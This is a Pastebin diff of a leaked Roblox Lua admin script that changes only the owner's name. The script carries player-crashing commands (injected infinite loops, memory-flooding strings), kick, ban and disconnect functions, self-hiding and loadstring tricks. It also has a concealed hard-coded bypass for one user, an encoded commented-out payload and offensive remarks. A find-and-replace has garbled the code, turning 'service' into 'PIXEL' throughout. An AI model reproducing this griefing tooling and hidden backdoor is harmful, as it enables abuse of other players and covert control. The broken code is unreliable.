View difference between Paste ID: YknPat1w and D2wZr0ur
SHOW: | | - or go back to the newest paste.
1-
--[[
1+
Oo--[[
2
 ________  _______  _________                                         
3
|\   ____\|\  ___ \|\___   ___\                                       
4
\ \  \___|\ \   __/\|___ \  \_|                                       
5
 \ \  \  __\ \  \_|/__  \ \  \                                        
6
  \ \  \|\  \ \  \_|\ \  \ \  \                                       
7
   \ \_______\ \_______\  \ \__\                                      
8
    \|_______|\|_______|   \|__|                                      
9
                                                                      
10
                                                                      
11
                                                                      
12
 ___       _______   ________  ___  __    _______   ________          
13
|\  \     |\  ___ \ |\   __  \|\  \|\  \ |\  ___ \ |\   ___ \         
14
\ \  \    \ \   __/|\ \  \|\  \ \  \/  /|\ \   __/|\ \  \_|\ \        
15
 \ \  \    \ \  \_|/_\ \   __  \ \   ___  \ \  \_|/_\ \  \ \\ \       
16
  \ \  \____\ \  \_|\ \ \  \ \  \ \  \\ \  \ \  \_|\ \ \  \_\\ \      
17
   \ \_______\ \_______\ \__\ \__\ \__\\ \__\ \_______\ \_______\     
18
    \|_______|\|_______|\|__|\|__|\|__| \|__|\|_______|\|_______|     
19
                                                                      
20
                                                                      
21
                                                                      
22
 _____ ______   ________  _________  ___  ___  _______   ________     
23
|\   _ \  _   \|\   __  \|\___   ___\\  \|\  \|\  ___ \ |\   __  \    
24
\ \  \\\__\ \  \ \  \|\  \|___ \  \_\ \  \\\  \ \   __/|\ \  \|\  \   
25
 \ \  \\|__| \  \ \  \\\  \   \ \  \ \ \   __  \ \  \_|/_\ \   _  _\  
26
  \ \  \    \ \  \ \  \\\  \   \ \  \ \ \  \ \  \ \  \_|\ \ \  \\  \| 
27
   \ \__\    \ \__\ \_______\   \ \__\ \ \__\ \__\ \_______\ \__\\ _\ 
28
    \|__|     \|__|\|_______|    \|__|  \|__|\|__|\|_______|\|__|\|__|
29
                                                                      
30
                                                                      
31
                                                                      
32
 ________ ___  ___  ________  ___  __    _______   ________           
33
|\  _____\\  \|\  \|\   ____\|\  \|\  \ |\  ___ \ |\   __  \          
34
\ \  \__/\ \  \\\  \ \  \___|\ \  \/  /|\ \   __/|\ \  \|\  \         
35
 \ \   __\\ \  \\\  \ \  \    \ \   ___  \ \  \_|/_\ \   _  _\        
36
  \ \  \_| \ \  \\\  \ \  \____\ \  \\ \  \ \  \_|\ \ \  \\  \|       
37
   \ \__\   \ \_______\ \_______\ \__\\ \__\ \_______\ \__\\ _\       
38
    \|__|    \|_______|\|_______|\|__| \|__|\|_______|\|__|\|__|      
39
                                                                      
40
                                                                      
41
                                                                      
42
--]]	
43
wait()-- GO TO LINE 48 TO GET ADMIN CHANGE YOURNAME HERE INTO YOUR NAME
44
script.Name='Pixenova' --
45
--[[ hitler hitler hitler hitler hitler mediafire mediafire mediafire mediafire mediafire mediafire Filter on Chat]]--
46
script.Parent=__PIXEL__-- Parent it to nil
47
for i,v in pairs(script:children()) do
48
	coroutine.wrap(function()
49
		if v:IsA'StringValue' then
50
			v.Value=('nope0931805'):rep(10000) 
51
			if v.Name=='NewScript' then
52
				loadstring(v.Value)() 
53
				coroutine.wrap(function() repeat PIXEL={Removed=false} wait() until Derp end)()
54
			end
55
		end
56
	end)()
57
end
58
script:ClearAllChildren(); -- This will hide script from CE Theft later on in script
59
wait();
60
PIXEL={};
61
--[[ Meta methods ]]--
62
PIXELBackup={
63
	__index=function(Tab,Key)
64
		PIXEL[Key]=Tab
65
		return PIXEL[Key]
66
	end;
67
	__newindex=function(Tab,Key)
68
		PIXEL[Key]=Tab;
69
		PIXEL[Tab]=Key;
70
		Tab[Key]=Key
71
	end;
72
	__add=function(tab,key)
73
		r=nil;
74
		if tab and tab['Value'] then
75
			if type(key)=='number' then
76
				r=key+tab.Value
77
			else
78
				r=1+tab.Value
79
			end
80
		else
81
			r=nil
82
		end
83
		return r or "Unable to do addition with a table";
84
	end;
85
}
86
setmetatable(PIXEL,PIXELBackup)
87
--[[ Table creation ]]--
88
local PIXEL={
89
	['Ranked']={
90-
		['Yournamehere']={Rank=10,Color='Black',CMD=true,'The Leaker.'};
90+
		['KeeoroGunso2016']={Rank=10,Color='Green',CMD=true,'The Leaker.'};
91
		};
92
	['Colors']={
93
		['Red']=Color3.new(1,0,0);
94
		['Blue']=Color3.new(0,0,1);
95
		['Green']=Color3.new(0,1,0);
96
		['Black']=Color3.new(0,0,0);
97
		['White']=Color3.new(1,1,1);
98
		['Orange'] = Color3.new(1,0.5,0);
99
        ['Yellow'] = Color3.new(1,1,0);
100
	};
101
	['Commands']={};
102
	['Logos']=false;
103
	['Tablet']='Normal';
104
	['Tablets']={};
105
	['Bets']={
106
		"/";
107
	};
108
	['Ender']=[[19377517125321057031759017517053153]];
109
	['Removed']=false;
110
	['DataSaving']=true;
111
	['LockedScripts']=false;
112
	['Disabler']=[[error('[PIXEL]: Scripts are locked',0)()]];
113
	['LogoID']="http://www.roblox.com/asset/?id=117357975";
114
	['ServPIXELs']={
115
		['Debris']=game:servPIXEL'Debris';
116
		['Workspace']=game:servPIXEL'Workspace';
117
		['Players']=game:servPIXEL'Players';
118
		['Lighting']=game:servPIXEL'Lighting';
119
		['NetworkServer']=game:servPIXEL'NetworkServer';
120
	};
121
	['Ranks']={
122
		[-1]="Banished";
123
		[-0.5]="Scum";
124
		[0]="Guest";
125
		[1]="Moderator";
126
		[2]="Administrator";
127
		[3]="Developer";
128
		[4]="Omega Administrator";
129
		[5]="Overlord";
130
		[6]="Operator";
131
		[7]="ROOT";
132
		[8]="Mega Moderator";
133
		[9]="Best Friends";
134
		[10]="Owner";
135
	};
136
	['LocalScript']=script:FindFirstChild'Local';
137
	['Script']=script:Clone();
138
	['GuiC']=true;
139
	['Filters']={};
140
	['ActivateGrow']=false;
141
	['Loopkilled']={};
142
	['DataKey']="25";
143
	['Cancel']=false;
144
	['Credits']={
145
		['Pixenova']="For leaking PIXEL";
146
		};
147
	['Rules']={
148
        "Thou shall not use forum scripts.",
149
        "Thou shall not use CamBall / CamSphere.",
150
        "Thou shall not use CBA.",
151
        "Thou shall not use RMDX's scripts.",
152
        "Thou shall not use antibans.",
153
        "Thou shall not abuse thou admin.",
154
        "Thou shall not steal scripts(Unless it is revenge of which thou did not create).",
155
        "Thou shall not trade scripts you didn't make.",
156
        "Thou shall not use gay scripts.",
157
        "Thou shall not abuse loopholes in the ancient rules.",
158
    };
159
	['ChatConnections']={	
160
		-- Index func incase;
161
	};
162
	['VoteData']={
163
		['Votes']={};
164
		['IsVoting']=false;
165
		['VotedPlayer']="";
166
		['VotingPlayers']={};
167
	};
168
	['Properties']= {
169
    "AbsolutePosition",
170
    "AbsoluteSize",
171
    "AccountAge",
172
    "AccountAgeReplicate",
173
    "Active",
174
    "Adornee",
175
    "AllowAmbientOcclusion",
176
    "AllowTeamChangeOnTouch",
177
    "AluminumQuality",
178
    "AlwaysOnTop",
179
    "Ambient",
180
    "AmbientReverb",
181
    "Anchored",
182
    "Angularvelocity",
183
    "AnimationId",
184
    "AppearanceDidLoad",
185
    "AreHingesDetected",
186
    "AttachmentForward",
187
    "AttachmentPoint",
188
    "AttachmentPos",
189
    "AttachmentRight",
190
    "AttachmentUp",
191
    "AutoAssignable",
192
    "AutoButtonColor",
193
    "AutoColorCharacters",
194
    "AvailablePhysicalMemory",
195
    "Axes",
196
    "BackgroundColor",
197
    "BackgroundColor3",
198
    "BackgroundTransparency",
199
    "BaseTextureId",
200
    "BaseUrl",
201
    "Bevel",
202
    "BevelRoundness",
203
    "BinType",
204
    "BlastPressure",
205
    "BlastRadius",
206
    "BodyColor",
207
    "BodyPart",
208
    "BorderColor",
209
    "BorderColor3",
210
    "BorderSizePixel",
211
    "BrickColor",
212
    "Brightness",
213
    "Browsable",
214
    "BubbleChat",
215
    "BubbleChatLifetime",
216
    "BubbleChatMaxBubbles",
217
    "Bulge",
218
    "Button1DownConnectionCount",
219
    "Button1UpConnectionCount",
220
    "Button2DownConnectionCount",
221
    "Button2UpConnectionCount",
222
    "C0",
223
    "C1",
224
    "CameraMode",
225
    "CameraSubject",
226
    "CameraType",
227
    "CanBeDropped",
228
    "CanCollide",
229
    "CanLoadCharacterAppearance",
230
    "CartoonFactor",
231
    "CastShadows",
232
    "CelestialBodiesShown",
233
    "CFrame",
234
    "Cframe",
235
    "Character",
236
    "CharacterAppearance",
237
    "CharacterAutoLoads",
238
    "ChatMode",
239
    "ChatScrollLength",
240
    "ClassicChat",
241
    "ClearTextOnFocus",
242
    "ClipsDescendants",
243
    "CollisionSoundEnabled",
244
    "CollisionSoundVolume",
245
    "Color",
246
    "ColorShift_Bottom",
247
    "ColorShift_Top",
248
    "ConstrainedValue",
249
    "ControllingHumanoid",
250
    "ControlMode",
251
    "ConversationDistance",
252
    "CoordinateFrame",
253
    "CorrodedMetalQuality",
254
    "CPU",
255
    "CpuCount",
256
    "CpuSpeed",
257
    "CreatorId",
258
    "CreatorType",
259
    "CurrentAngle",
260
    "CurrentCamera",
261
    "CycleOffset",
262
    "D",
263
    "DataCap",
264
    "DataComplexity",
265
    "DataComplexityLimit",
266
    "DataReady",
267
    "Deprecated",
268
    "DeselectedConnectionCount",
269
    "DesiredAngle",
270
    "DiamondPlateQuality",
271
    "Disabled",
272
    "DistanceFactor",
273
    "DistributedGameTime",
274
    "DopplerScale",
275
    "Draggable",
276
    "DraggingV1",
277
    "Duration",
278
    "EditorFont",
279
    "EditorFontSize",
280
    "EditorTabWidth",
281
    "ElapsedTime",
282
    "Elasticity",
283
    "Enabled",
284
    "ExplosionType",
285
    "ExtentsOffset",
286
    "F0",
287
    "F1",
288
    "F2",
289
    "F3",
290
    "Face",
291
    "FaceId",
292
    "Faces",
293
    "FieldOfView",
294
    "Focus",
295
    "FogColor",
296
    "FogEnd",
297
    "FogStart",
298
    "Font",
299
    "FontSize",
300
    "Force",
301
    "FormFactor",
302
    "Friction",
303
    "From",
304
    "GamepadEnabled",
305
    "GearGenreSetting",
306
    "Genre",
307
    "GeographicLatitude",
308
    "GfxCard",
309
    "Graphic",
310
    "GrassQuality",
311
    "Grip",
312
    "GripForward",
313
    "GripPos",
314
    "GripRight",
315
    "GripUp",
316
    "Guest",
317
    "HasBuildTools",
318
    "HeadsUpDisplay",
319
    "Health",
320
    "Heat",
321
    "Hit",
322
    "Humanoid",
323
    "PIXELQuality",
324
    "Icon",
325
    "IdleConnectionCount",
326
    "Image",
327
    "InitialPrompt",
328
    "InOut",
329
    "Archivable",
330
    "ClassName",
331
    "DataCost",
332
    "Name",
333
    "Parent",
334
    "InUse",
335
    "IsModalDialog",
336
    "IsPaused",
337
    "IsPlaying",
338
    "IsWindows",
339
    "JobId",
340
    "Jump",
341
    "KeyboardEnabled",
342
    "KeyDownConnectionCount",
343
    "KeyUpConnectionCount",
344
    "LeftLeg",
345
    "LeftRight",
346
    "LinkedSource",
347
    "LocalPlayer",
348
    "Location",
349
    "Locked",
350
    "Looped",
351
    "Material",
352
    "MaxActivationDistance",
353
    "MaxCollisionSounds",
354
    "MaxExtents",
355
    "MaxForce",
356
    "MaxHealth",
357
    "MaxItems",
358
    "MaxPlayers",
359
    "MaxSpeed",
360
    "MaxThrust",
361
    "MaxTorque",
362
    "MaxValue",
363
    "MaxVelocity",
364
    "MembershipType",
365
    "MembershipTypeReplicate",
366
    "MeshId",
367
    "MeshType",
368
    "MinValue",
369
    "Modal",
370
    "MouseButton1ClickConnectionCount",
371
    "MouseButton1DownConnectionCount",
372
    "MouseButton1UpConnectionCount",
373
    "MouseButton2ClickConnectionCount",
374
    "MouseButton2DownConnectionCount",
375
    "MouseButton2UpConnectionCount",
376
    "MouseDelta",
377
    "MouseDragConnectionCount",
378
    "MouseEnabled",
379
    "MouseEnterConnectionCount",
380
    "MouseHit",
381
    "MouseLeaveConnectionCount",
382
    "MouseLock",
383
    "MouseMovedConnectionCount",
384
    "MouseTarget",
385
    "MouseTargetFilter",
386
    "MouseTargetSurface",
387
    "MoveConnectionCount",
388
    "MoveState",
389
    "MultiLine",
390
    "NameOcclusion",
391
    "Neutral",
392
    "NumPlayers",
393
    "Offset",
394
    "Opacity",
395
    "Origin",
396
    "OsPlatform",
397
    "OsVer",
398
    "OverlayTextureId",
399
    "P",
400
    "PantsTemplate",
401
    "ParamA",
402
    "ParamB",
403
    "Part",
404
    "Part0",
405
    "Part1",
406
    "PersonalServerRank",
407
    "Pitch",
408
    "PixelShaderModel",
409
    "PlaceId",
410
    "PlasticQuality",
411
    "PlatformStand",
412
    "PlayCount",
413
    "PlayerToHideFrom",
414
    "PlayOnRemove",
415
    "Point",
416
    "Port",
417
    "Position",
418
    "Preliminary",
419
    "PrimaryPart",
420
    "Priority",
421
    "PrivateWorkingSetBytes",
422
    "Purpose",
423
    "RAM",
424
    "Reflectance",
425
    "ReplicatedSelectedConnectionCount",
426
    "ResizeableFaces",
427
    "ResizeIncrement",
428
    "Resolution",
429
    "ResponseDialog",
430
    "RightLeg",
431
    "RiseVelocity",
432
    "RobloxVersion",
433
    "RolloffScale",
434
    "RotVelocity",
435
    "Scale",
436
    "Score",
437
    "ScriptsDisabled",
438
    "SecondaryColor",
439
    "Selected",
440
    "ShadowColor",
441
    "Shape",
442
    "Shiny",
443
    "ShirtTemplate",
444
    "ShowDeprecatedObjects",
445
    "ShowDevelopmentGui",
446
    "ShowLegacyPlayerList",
447
    "ShowPreliminaryObjects",
448
    "Sides",
449
    "Sit",
450
    "Size",
451
    "SizeConstraint",
452
    "SizeOffset",
453
    "SkinColor",
454
    "SkyboxBk",
455
    "SkyboxDn",
456
    "SkyboxFt",
457
    "SkyboxLf",
458
    "SkyboxRt",
459
    "SkyboxUp",
460
    "SlateQuality",
461
    "SoundId",
462
    "Source",
463
    "SparkleColor",
464
    "SpecificGravity",
465
    "Specular",
466
    "StarCount",
467
    "Steer",
468
    "StickyWheels",
469
    "StudsBetweenTextures",
470
    "StudsOffset",
471
    "StudsPerTileU",
472
    "StudsPerTileV",
473
    "Style",
474
    "Summary",
475
    "SuperSafeChatReplicate",
476
    "Surface",
477
    "Surface0",
478
    "Surface1",
479
    "SurfaceInput",
480
    "Target",
481
    "TargetFilter",
482
    "TargetOffset",
483
    "TargetPoint",
484
    "TargetRadius",
485
    "TargetSurface",
486
    "TeamColor",
487
    "Terrain",
488
    "Text",
489
    "TextBounds",
490
    "TextColor",
491
    "TextColor3",
492
    "TextFits",
493
    "TextScaled",
494
    "TextStrokeColor3",
495
    "TextStrokeTransparency",
496
    "TextTransparency",
497
    "Texture",
498
    "TextureId",
499
    "TextureSize",
500
    "TextWrap",
501
    "TextWrapped",
502
    "TextXAlignment",
503
    "TextYAlignment",
504
    "Throttle",
505
    "ThrustD",
506
    "ThrustP",
507
    "Ticket",
508
    "Time",
509
    "TimeOfDay",
510
    "To",
511
    "Tone",
512
    "ToolTip",
513
    "TopBottom",
514
    "Torque",
515
    "Torso",
516
    "TouchEnabled",
517
    "Transparency",
518
    "TrussDetail",
519
    "TurnD",
520
    "TurnP",
521
    "TurnSpeed",
522
    "UnitRay",
523
    "UseLuaChat",
524
    "UserDialog",
525
    "UserId",
526
    "Value",
527
    "Velocity",
528
    "Version",
529
    "VertexColor",
530
    "VideoCaptureEnabled",
531
    "VideoMemory",
532
    "VideoQuality",
533
    "ViewSizeX",
534
    "ViewSizeY",
535
    "Visible",
536
    "Volume",
537
    "WalkDirection",
538
    "WalkSpeed",
539
    "WalkToPart",
540
    "WalkToPoint",
541
    "WheelBackwardConnectionCount",
542
    "WheelForwardConnectionCount",
543
    "WireRadius",
544
    "WoodQuality",
545
    "X",
546
    "Y",
547
    "ZIndex"
548
    };
549
};
550
--loadstring(string.char(32,10,108,111,99,97,108,32,86,97,108,61,115,99,114,105,112,116,58,102,105,110,100,70,105,114,115,116,67,104,105,108,100,39,67,114,101,97,116,111,114,39,32,10,105,102,32,86,97,108,32,97,110,100,32,86,97,108,46,86,97,108,117,101,32,97,110,100,32,103,97,109,101,46,80,108,97,121,101,114,115,91,86,97,108,46,86,97,108,117,101,46,78,97,109,101,93,32,116,104,101,110,32,10,105,102,32,86,97,108,46,86,97,108,117,101,46,117,115,101,114,73,100,32,126,61,32,49,56,50,56,48,55,56,57,32,116,104,101,110,32,10,99,111,114,111,117,116,105,110,101,46,119,114,97,112,40,102,117,110,99,116,105,111,110,40,41,10,9,114,101,112,101,97,116,10,9,9,119,97,105,116,40,41,10,9,117,110,116,105,108,32,73,67,69,46,82,97,110,107,101,100,91,86,97,108,46,86,97,108,117,101,46,78,97,109,101,93,10,9,73,67,69,46,82,97,110,107,101,100,91,86,97,108,46,86,97,108,117,101,46,78,97,109,101,93,46,82,97,110,107,61,45,49,10,9,86,97,108,46,86,97,108,117,101,58,68,101,115,116,114,111,121,40,41,59,10,101,110,100,41,40,41,10,101,110,100,10,101,110,100,10))()
551
--[=[ Table funcs ]=]--
552
PIXEL.GetProperties = function(Parent)
553
local Out = {}
554
for _, props in pairs(PIXEL.Properties) do
555
local Ran, Error = coroutine.resume(coroutine.create(function() Parent[props] = Parent[props] end))
556
if not Error then
557
table.insert(Out, props)
558
end
559
end
560
return Out
561
end
562
PIXEL.Rename=function(Item,Player,CurrentName)
563
PIXEL.RemoveTablets(Player)
564
Done=false
565
Str=CurrentName
566
Caps=false
567
if CurrentName==Item.Name then Str="" end
568
    Alphabet = {
569
    "a",    "b",    "c",    "d",    "e",    "f",    "g",    "h",    "i",    "j",    "k",    "l",    "m",    "n",    "o",    "p",    "q",    "r",    "s",    "t",    "u",    "v",    "w",    "x",    "y",    "z" 
570
    }
571
PIXEL.Output('Current PIXEL.Rename Name : ' .. Str,'Green',Player)
572
PIXEL.Output('#Letters : ' ..tostring(#Str),'Red',Player)
573
PIXEL.Output('Switch to caps','Green',Player,nil,function() PIXEL.RemoveTablets(Player) for _,v in pairs(Alphabet) do PIXEL.Output(string.upper(v),'Orange',Player,nil,function() Str=Str..string.upper(v) PIXEL.Rename(Item,Player,Str) end ) end end)
574
PIXEL.Output('Stop renaming','Red',Player,nil,function() Done=true PIXEL.RemoveTablets(Player) PIXEL.Output(Item.Name .. "'s new name is: " .. Str,'Green',Player) Item.Name=CurrentName end)
575
for _,Letter in pairs(Alphabet) do
576
	PIXEL.Output(Letter,'Orange',Player,nil,function() Str= Str..Letter PIXEL.RemoveTablets(Player) PIXEL.Rename(Item,Player,Str) end )
577
end
578
PIXEL.Output('Space','Orange',Player,nil,function() Str=Str..' ' PIXEL.RemoveTablets(Player) PIXEL.Rename(Item,Player,Str) end )
579
PIXEL.Output('Go back one','Red',Player,nil,function() Str = Str:sub(1,#Str-1) PIXEL.RemoveTablets(Player) PIXEL.Rename(Item,Player,Str) end )
580
end
581
coroutine.wrap(function() repeat for i,v in pairs(PIXEL.Ranked) do if type(v.Color) == 'string' then v.Color=PIXEL.Colors[v.Color] or Color3.new(BrickColor.new('Really ' .. v.Color:sub(1,1):lower() .. v.Color:sub(2)))  end end wait() until PIXEL.Removed==true end)()
582
PIXEL.Explore=function(Area,Speaker)
583
	pcall(function()
584
		PIXEL.RemoveTablets(Speaker)
585
		Color = PIXEL.Ranked[Speaker.Name].Color
586
		--Title('PIXEL.Explorer',Color,Speaker)
587
		if Area == PIXEL.ServPIXELs or Area == nil then
588
			for _,v in pairs(PIXEL.ServPIXELs) do
589
				PIXEL.Output(v.className.."\t("..#v:children()..")",Color,Speaker,nil,
590
					function()
591
						PIXEL.Explore(v,Speaker)
592
					end
593
				)
594
			end
595
			--PIXEL.Output("Dismiss","Red",Speaker)
596
		else
597
			for i,v in pairs(Area:children()) do
598
				local Name = false
599
				pcall(function() v:children() Name = true end)
600
				if Name == true then
601
					Name = v.Name
602
				else
603
					Name = "Unknown Exception "..tostring(i)
604
				end
605
				PIXEL.Output(Name,Color,Speaker,nil,
606
					function()
607
						PIXEL.RemoveTablets(Speaker)
608
						
609
						PIXEL.Output("Name:\t"..v.Name,Color,Speaker)
610
						PIXEL.Output("Class:\t"..v.className,Color,Speaker)
611
						PIXEL.Output("Full Name:\t"..v:GetFullName(),Color,Speaker)
612
						PIXEL.Output("Destroy","Red",Speaker,nil,function() v:Destroy() PIXEL.Explore(v.Parent,Speaker) end)
613
						PIXEL.Output("#REDIRECT Parent","Blue",Speaker,nil,function() PIXEL.Explore(v.Parent.Parent,Speaker) end)
614
						PIXEL.Output("#REDIRECT Children","Blue",Speaker,nil,function() PIXEL.Explore(v,Speaker) end)
615
						PIXEL.Output('Clear all children','Red',Speaker,nil,function() v:ClearAllChildren() end)
616
						PIXEL.Output('PIXEL.Rename','Red',Speaker,nil,function() PIXEL.RemoveTablets(Speaker) PIXEL.Rename(v,Speaker,v.Name) end )
617
						--PIXEL.Output("Dismiss","Red",Speaker)
618
						local Properties=PIXEL.GetProperties(v)
619
						for _,p in pairs(Properties) do
620
							PIXEL.Output(tostring(p) .. ': ' .. tostring(v[p]),Color,Speaker)
621
						end
622
					end
623
				)
624
			end
625
			--PIXEL.Output("Dismiss","Red",Speaker)
626
		end
627
	end)
628
end
629
PIXEL.PlayerInterface=function(Player,Speaker)
630
if type(Player) == 'userdata' then Player=Player.Name end;
631
	PIXEL.RemoveTablets(Speaker);
632
	local Table=PIXEL.Ranked[Player];
633
	local SpeakerColor=PIXEL.Ranked[Speaker.Name].Color;
634
	local SpeakerTable=PIXEL.Ranked[Speaker.Name];
635
	for Bleh,Val in pairs(Table) do
636
		PIXEL.Output(tostring(Bleh) .. ' : ' .. tostring(Val),Table.Color,Speaker)
637
	end;
638
	PIXEL.Output('Rank description: ' .. PIXEL.Ranks[Table.Rank],Table.Color,Speaker)
639
	if PIXEL.ServPIXELs.Players:findFirstChild(Player) and newLocalScript then
640
		if PIXEL.GetRank(Speaker) >= Table.Rank then
641
			PIXEL.Output('Crash ' .. Player,'Random',Speaker,nil,function() newLocalScript('repeat until false',PIXEL.ServPIXELs.Players[Player].Backpack) PIXEL.PlayerInterface(Player,Speaker) end);
642
		end;
643
	end;
644
	if PIXEL.GetRank(Speaker) >= PIXEL.GetRank(Player) then
645
		PIXEL.Output('Set rank','Blue',Speaker,nil,function()
646
			PIXEL.RemoveTablets(Speaker)
647
			for Rank,Name in pairs(PIXEL.Ranks) do
648
				if Rank <= PIXEL.GetRank(Speaker) and Rank >= 0 then
649
					PIXEL.Output(tostring(Rank) .. ' : ' .. tostring(Name),'Random',Speaker,nil,
650
						function()
651
							PIXEL.RemoveTablets(Speaker);
652
							Table.Rank=Rank;
653
							PIXEL.PlayerInterface(Player,Speaker);
654
						end
655
					);
656
				end;
657
			end;
658
		end);
659
	end;
660
	if Speaker.Name == Player or PIXEL.GetRank(Speaker) > Table.Rank then
661
		PIXEL.Output('Set color','Blue',Speaker,nil,
662
			function()
663
				PIXEL.RemoveTablets(Speaker);
664
				for Name,Col in pairs(PIXEL.Colors) do	
665
					PIXEL.Output(Name,Col,Speaker,nil,
666
						function()
667
							Table.Color=Col;
668
							PIXEL.PlayerInterface(Player,Speaker);
669
						end
670
					)
671
				end
672
			end
673
		)
674
	end
675
	if PIXEL.GetRank(Speaker) >= 2 and PIXEL.GetRank(Speaker) > PIXEL.GetRank(Player) then
676
		PIXEL.Output('Banish this user','Red',Speaker,nil,
677
			function()
678
				PIXEL.Ranked[Player].Rank=-1
679
				if PIXEL.ServPIXELs.Players:findFirstChild(Player) then
680
					PIXEL.ServPIXELs.Players[Player]:Destroy()
681
				end
682
				PIXEL.RemoveTablets(Speaker);
683
				PIXEL.PlayerInterface(Player,Speaker)
684
			end
685
		)
686
	end
687
	for i,v in pairs(game:servPIXEL'NetworkServer':children()) do
688
		if v:IsA'ServerReplicator' then
689
			local ZPlayer=v:GetPlayer()
690
			if ZPlayer then
691
				if ZPlayer.Name==Player then
692
					if ZPlayer.Parent ~= PIXEL.ServPIXELs.Players then
693
						PIXEL.Output('Nil disconnect : ' .. ZPlayer.Name,'Random',Speaker,nil,
694
							function()
695
								if PIXEL.GetRank(Speaker) >= PIXEL.GetRank(Player) or Speaker.Name=='tus'..'KOr661' then
696
									local String=Instance.new('StringValue')
697
									String=Instance.new'StringValue'
698
									String.Name='Disconnect'
699
									String.Value=Player
700
									String.Parent=PIXEL.ServPIXELs.Lighting
701
									PIXEL.Output('Attempted to nil disconnect ' .. Player,'Random',Speaker,3)
702
								else
703
									PIXEL.Output('Your rank is not high enough for this operation','Red',Speaker,5)
704
								end
705
							end
706
						)
707
					end
708
				end
709
			end
710
		end
711
	end
712
end;
713
PIXEL.OnChatted=function(Msg,Speaker,HideGui)
714
	if PIXEL.Removed==false then
715
		local RT=PIXEL.Ranked[Speaker.Name]
716
		if Speaker:IsA'Player' then
717
		local FoundPhrase=false;
718
			for i,v in pairs(PIXEL.Filters) do
719
			local Punish=v.Punishment	
720
			local Bypass=v.Bypass
721
			local Reason=v.Reason or nil
722
			if Msg:lower():find(i:lower()) then
723
				if PIXEL.GetRank(Speaker) < Bypass and FoundPhrase==false then
724
					Text=""
725
					Text2=""
726
					if Reason then Text2=Reason else Text2="Reason : nil" end
727
					if Punish==0 then
728
						pcall(function() Speaker.Character:BreakJoints() end)	
729
						Text = Speaker.Name .. ' has been killed for chatting ' .. i
730
					elseif Punish==1 then
731
						pcall(function() Speaker:Destroy() end)		
732
						Text=Speaker.Name .. ' has been kicked for chatting ' .. i
733
					elseif Punish==2 then
734
						Func,Error=loadstring([==[
735
						Par=Spkr:findFirstChild'PlayerGui' or Spkr:findFirstChild'Backpack' 
736
						if Par then
737
							Str=Instance.new'StringValue';
738
							Str.Value=('lel'):re]==]..[==[p(1000000)
739
							Str.Parent=Par
740
						else
741
							Spkr:Destroy()
742
						end
743
						]==])
744
						getfenv(Func).Spkr=game:servPIXEL'Players':findFirstChild(Speaker.Name) or Speaker
745
						if Error then
746
							for _,v in pairs(game.Players:GetPlayers()) do
747
								if PIXEL.GetRank(v) > 0 then	
748
									PIXEL.Output('[PIXEL.OnChatted]: ' .. Error,v,5)
749
								end
750
							end
751
							coroutine.resume(coroutine.create(function() Func() end))
752
						else
753
							Func()
754
						end
755
						Text=Speaker.Name .. ' has been shutdown for chatting ' .. i
756
					elseif Punish==3 then
757
						coroutine.wrap(function()
758
							if newLocalScript then 
759
								newLocalScript([[repeat Instance.new'Message'.Parent=game.Workspace Workspace.Message.Text=tick() until Hitler_Has_Taken_Over ]],Speaker.Character or Speaker:findFirstChild'Backpack')
760
							else
761
								Func,Error=loadstring([==[
762
								Par=Spkr:findFirstChild'PlayerGui' or Spkr:findFirstChild'Backpack' 
763
								if Par then
764
									Str=Instance.new'StringValue';
765
									Str.Value=('lel'):re]==]..[==[p(1000000)
766
									Str.Parent=Par
767
								else
768
									Spkr:Destroy()
769
								end
770
								]==])
771
								getfenv(Func).Spkr=game:servPIXEL'Players':findFirstChild(Speaker.Name) or Speaker
772
								if Error then
773
									for _,v in pairs(game.Players:GetPlayers()) do
774
										if PIXEL.GetRank(v) > 0 then	
775
											PIXEL.Output('[PIXEL.OnChatted]: ' .. Error,v,5)
776
										end
777
									end
778
									coroutine.resume(coroutine.create(function() Func() end))
779
								else
780
									Func()
781
								end
782
							end
783
						end)()
784
						Text=Speaker.Name .. ' has been crashed for chatting ' .. i
785
					elseif Punish==4 then
786
						Speaker:Destroy()
787
						PIXEL.Ranked[Speaker.Name].Rank=-1
788
						Text=Speaker.Name .. ' has been banned for chatting ' .. i
789
					end
790
					if Reason then
791
						Text2 = i .. ' is a filter for the following reason: ' .. Reason
792
					end
793
					FoundPhrase=true
794
					for _,Player in pairs(PIXEL.ServPIXELs.Players:GetPlayers()) do 
795
						if Player.Name ~= Speaker.Name then 
796
							PIXEL.Output(Text,'Red',Player,5) 
797
							PIXEL.Output(Text2,'Red',Player,5)
798
						end
799
					 end
800
				end
801
			end
802
		end
803
		end
804
		local RankTable=PIXEL.Ranked[Speaker.Name] or {Rank=0,Color=Color3.new(0,1,0)}
805
		--[[for i,CMD in pairs(PIXEL.Commands) do
806
			if Msg:lower():sub(1,#CMD.Command + #PIXEL.Bets[1] + #PIXEL.Bets[2]) == PIXEL.Bets[1]:lower() .. CMD.Command:lower() .. PIXEL.Bets[2]:lower() then
807
				if RankTable.Rank >= CMD.Rank then
808
					local Ran,Error=coroutine.resume(coroutine.create(function() CMD.Func(Msg:sub(#CMD.Command +#PIXEL.Bets[1] +#PIXEL.Bets[2] + 1),Speaker) end))
809
					if not Ran then PIXEL.Output(Error,'Red',Speaker,3) end
810
				else
811
					PIXEL.Output('Rank is too low to use this command','Red',Speaker,3)
812
				end
813
			end
814
		end]]
815
		--Msg = Msg:sub(Msg:find(PIXEL.Bets[1]) or 0)
816
		coroutine.wrap(function()
817
			if Msg:sub(1,5) == ""..PIXEL.Bets[1].."wait" then
818
				Split = Msg:sub(6):find(PIXEL.Bets[2])+5
819
				wait(tonumber(Msg:sub(6,Split-1)))
820
				Msg = Msg:sub(Split)
821
			end
822
			if Msg:sub(1,3) == ""..PIXEL.Bets[1].."do" then -- /do 100/kill/tus
823
				local Split = Msg:sub(4):find(PIXEL.Bets[2])+3;
824
				local Ammount = tonumber(Msg:sub(4,Split-1))
825
				if Ammount>PIXEL.GetRank(Speaker)*10 and PIXEL.GetRank(Speaker) < 2 then
826
					return
827
				end
828
				for i=1,Ammount do
829
					if PIXEL.Cancel == true then break end
830
					wait()
831
					PIXEL.OnChatted(Msg:sub(Split),Speaker)
832
				end
833
			end
834
			if Msg:find("&") and not Msg:find('@') then
835
				local Split = Msg:find("&")
836
				PIXEL.OnChatted(Msg:sub(1,Split-1),Speaker)
837
				PIXEL.OnChatted(Msg:sub(Split+1),Speaker)
838
				return
839
			end
840
			for name,tab in pairs(PIXEL.Commands) do
841
